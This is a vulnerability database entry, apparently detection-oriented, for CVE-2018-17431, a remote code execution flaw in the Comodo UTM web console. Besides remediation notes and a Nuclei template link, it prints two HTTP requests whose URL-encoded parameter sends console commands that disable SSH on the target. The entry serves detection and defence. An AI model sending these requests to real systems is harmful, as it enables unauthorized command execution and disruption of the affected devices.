🔙 목록으로 돌아가기

CVE-2018-17431: Comodo Unified Threat Management Web Console - Remote Code Execution

TitleComodo Unified Threat Management Web Console - Remote Code Execution
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
RemediationApply the latest security patches or updates provided by Comodo to fix this vulnerability.
CVSS Score9.8
EPSS Score0.9241
CVE IDCVE-2018-17431
CWE IDCWE-287
Tags cve cve2018 comodo rce edb vkev vuln

🔍 Vulnerability Description

Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability.

🌐 HTTP Request

GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Connection: close
Accept-Encoding: gzip
GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-17431.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-17431.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A